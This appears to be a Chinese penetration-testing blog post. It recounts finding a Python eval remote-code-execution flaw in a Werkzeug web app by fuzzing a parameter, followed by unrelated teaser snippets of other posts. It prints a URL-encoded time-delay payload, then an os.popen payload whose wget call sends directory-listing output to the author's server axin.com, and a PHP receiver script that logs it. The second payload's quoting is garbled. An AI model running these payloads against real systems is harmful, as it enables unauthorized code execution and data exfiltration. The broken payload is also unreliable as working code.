本漏洞由@sh4dow供稿，?就完事兒了
簡單記錄一下這個漏洞，沒啥特殊的手法，就是細心與fuzz?
抓包結果如下：
看起來好像沒啥問題，但是響應中的werkzaug與python吸引了我的注意，不了解werkzaug的可以去看一下
我嘗試著用一些其他的payload替換了params引數的值，都是報錯，看起來真就沒啥問題，我都準備不看這個點了，但是，當我用空引數的時候，伺服器返回了500錯誤
這說明這個引數還是會影響伺服器的執行的嘛（當然也不一定，這裡只是我的乙個猜測），為了進一步確定，我開始fuzz這個引數
看起來有戲，於是把python rce的payload進行了一下url編碼，
eval%28compile%28%27for%20x%20in%20range%281%29%3a%0a%20import%20time%0a%20time.sleep%2820%29%27%2c%27a%27%2c%27single%27%29%29
成功執行，伺服器產生了延時：
構造payload:
eval(compile("""for x in range(1):\n import os\n os.popen(r'wget "$(ls -la)」)read()」」」,』』,』single』))
然後在我們的伺服器axin.com上部署乙份shell.php檔案，檔案內容如下：
<?php
$a = fopen('poc.txt', 'a');
fwrite($a, $_get["cmd"]);
fclose($a);
?>
nice的不得了，當然，也可以直接彈shell
記一次略微曲折的上傳
現在傳是傳上去了，但是沒有返回完整路徑，也不知道傳哪兒去了，這咋整 掃當前目錄啥也沒掃到 然後掃了波一級目錄，發現存在upload目錄，2.通過bp的intruder功能對字尾名進行批量fuzz，發現都被攔截，這裡又測試上傳test.aaa，內容為this is a test,發現可以上傳，那麼猜測...
記一次上線的曲折之路（儲存過程執行失敗）
昨天傍晚上線的時候，分支已經合到了線上分支，還需要執行乙個sql，但是在執行sql的時候，運維同學反饋 sql語句報錯，執行不了。此時線上服務出現了無法登入，功能異常等問題，形勢一片緊急。部門boss趕緊叫了幾個有經驗的開發從家裡趕來協助 已經下班了 運維也趕緊聯絡另一位資深運維詢問。因為之前qa環...
一次曲折的TP
還是老規矩，進來直接用exp將phpinfo打出來 tp的版本為5.0.13 但是我們用常規的日誌包含，卻找不到我們的日誌在 後面才知道，我們get去請求也是無法請求到的，因為日誌不在 的絕對路徑，只能通過post去fuzzing日誌 此時用session去包含，不行，因為session過期過的很快...